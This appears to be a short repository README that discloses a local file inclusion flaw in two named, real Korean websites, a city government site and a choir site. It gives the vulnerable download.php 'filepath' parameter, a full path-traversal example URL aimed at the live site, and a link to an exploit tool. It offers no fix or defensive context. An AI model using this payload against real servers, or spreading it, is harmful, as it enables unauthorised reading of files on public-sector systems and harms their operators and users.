goyang-LFI

Vendors : http://www.goyang.go.kr
http://www.choralegoyang.or.kr

Service details : From my research goyang uses the library /libs/smarty/Smarty.class.php

About Smarty:
Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. - smarty-php/smarty

Exploit: download.php?filepath={file_name}

Example:
http://www.choralegoyang.or.kr/city/download.php?filepath=../../default/main.asp&f_fol=city_news
Exploiter:
https://github.com/Proxysec/goyang-LFI/tree/main